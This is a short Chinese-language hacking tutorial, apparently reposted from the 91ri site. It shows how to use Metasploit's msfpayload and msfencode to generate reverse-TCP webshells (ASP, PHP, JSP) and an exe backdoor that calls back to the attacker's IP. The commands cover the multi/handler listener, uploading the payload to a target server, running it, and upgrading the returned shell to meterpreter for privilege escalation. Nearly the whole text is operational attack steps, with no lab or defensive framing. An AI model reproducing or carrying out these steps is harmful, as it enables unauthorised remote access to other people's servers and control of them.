首先建議一下到網上查查meterpreter的用法在看這篇文章,理解為什么要使用msf來提權(因為msf里邊有個meterpreter很強大 ^_^)
Metasploit 擁有msfpayload 和msfencode 這兩個工具,這兩個工具不但可以生成exe 型后門,一可以生成網頁腳本類型的webshell ,通過生成webshell 然后設置監聽器,訪問webshell的url,幸運的話可以產生一個session,以便進一步利用。
下面是具體的利用方法。
我們可以通過指令查看msf里的payload 然后記住其位置:使用如下的指令來產生一個webshell,和前邊將的msfpayload的用法類似,只不過這里生成的是一個網頁腳本文件:
產生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后將此webshell上傳到服務器(這個步驟要有上傳權限。)
然后啟動msfconsole
輸入use exploits/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(這里的payload要和前邊的msfpayload所使用的一樣。
set LHOST your_ip,
執行exploit,
然 后訪問webshell的url,這里使用curl 訪問curl http://host/webshell.asp ,如果exploit執行成功的話就可以看到msfconsole中有返回meterpreter shell,如果meterpreter不會用網上查一下,很多。
但是我使用netbox 搭建asp環境老是執行出錯,希望讀者在實際驗證不出錯后再使用。
這里產生的是asp的webshell 也可以產生php webshell,jsp webshell 需要在msfencode時用-t 參數指定腳本類型,我認為php類型的webshell更容易成功。
另外如果獲取服務器擁有可以上傳並且執行上傳文件的權限的話,可以上傳一個msfpayload產生的后門,設置監聽,然后執行后門,返回一個 session然后將session轉為meterpreter,這樣就可以方便的使用meter各種特性了。給個步驟:(前提在上邊以及說明了)
1、msfpayload windows/shell_reverse_tcp LHOST=your_ip R | msfencode -t exe -o test.exe
2、打開msfconsole (另外開一個terminate終端)
3、設置監聽(監聽這個詞好像很高級,別被它嚇到):use exploits/multi/handler,set LHOST=your_ip,執行exploit
4、將test.exe 上傳到服務器
5、在服務器上執行test.exe 就可以返回一個shell了。
6、將windows shell 轉成 meterpreter shell:由於使用的payload是shell_reverse_tcp,看名字就知道了返回一個shell,可以在監聽器看到返回了一個 windows shell(windows 命令提示符),而不是一個meterpreter shell,這樣就要轉換了,方法是 按下Ctrl + z 使 windows shell 后台運行,然后sessions 指令查看 shell 的session是多少
,然后執行 sessions -u number(number為你找到的windows shell session號。這樣就產生了一個meterpreter shell,可以利用meterpreter強大的功能。也有可能出錯,仔細看出錯信息然后復制其一部分google一下。
可能讀者些疑問:既然可以在上傳執行exe文件,為什么要用msf呢,直接上傳一個強大木馬不是更方便么。我想說因為msf 中有個強大的Meterpreter。
總結,可以發揮想象,挨個試試payloads有的payloads 不能用,也許有意外的發現。
[via@91ri]